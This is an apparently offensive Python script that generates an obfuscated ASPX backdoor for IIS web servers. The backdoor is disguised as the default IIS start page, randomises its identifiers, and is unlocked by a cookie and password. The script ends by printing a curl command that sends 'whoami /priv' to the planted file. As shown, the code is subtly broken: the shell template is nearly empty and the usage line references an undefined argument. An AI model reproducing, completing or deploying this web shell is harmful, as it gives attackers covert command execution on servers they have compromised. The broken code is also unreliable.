#!/usr/bin/env python3 import os import re import random import string from textwrap import dedent from argparse import ArgumentParser def obfuscate(s): pattern = r'\{\*(.*?)\*\}' placeholder_values = {} def get_or_generate_random_string(match): placeholder = match.group(1) if placeholder not in placeholder_values: placeholder_values[placeholder] = ''.join(random.choice(string.ascii_lowercase) for _ in range(8)) return placeholder_values[placeholder] result_string = re.sub(pattern, get_or_generate_random_string, s) return result_string def generate_aspx_backdoor(args): code = '200' status = '200 OK' iisstart_template = ''' IIS Windows Server
IIS
''' lines = iisstart_template.split('\n') processed_lines = ['"' + line.replace('"', '""') + '" & vbCrLf & _' for line in lines] response = '\n'.join(processed_lines) response = response.rstrip(' & vbCrLf & _') backdoor = f'''<%@ Page Language="VB" Debug="true" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.Web" %> ''' with open(f'backdoor_{args.cookie_name}:{args.password}.aspx', 'w') as fh: fh.write(obfuscate(backdoor)) print(f'[INFO] created aspx backdoor as "backdoor_{args.cookie_name}:{args.password}.aspx"') print('[INFO] issue commands with:') print('curl http://example.com/backdoor.aspx -H "Cookie: {args.cookie}={args.password}" -d "cmd=whoami /priv" -X POST') if __name__ == '__main__': parser = ArgumentParser() parser.add_argument('-c', '--cookie-name', required=True) parser.add_argument('-p', '--password', required=True) args = parser.parse_args() generate_aspx_backdoor(args)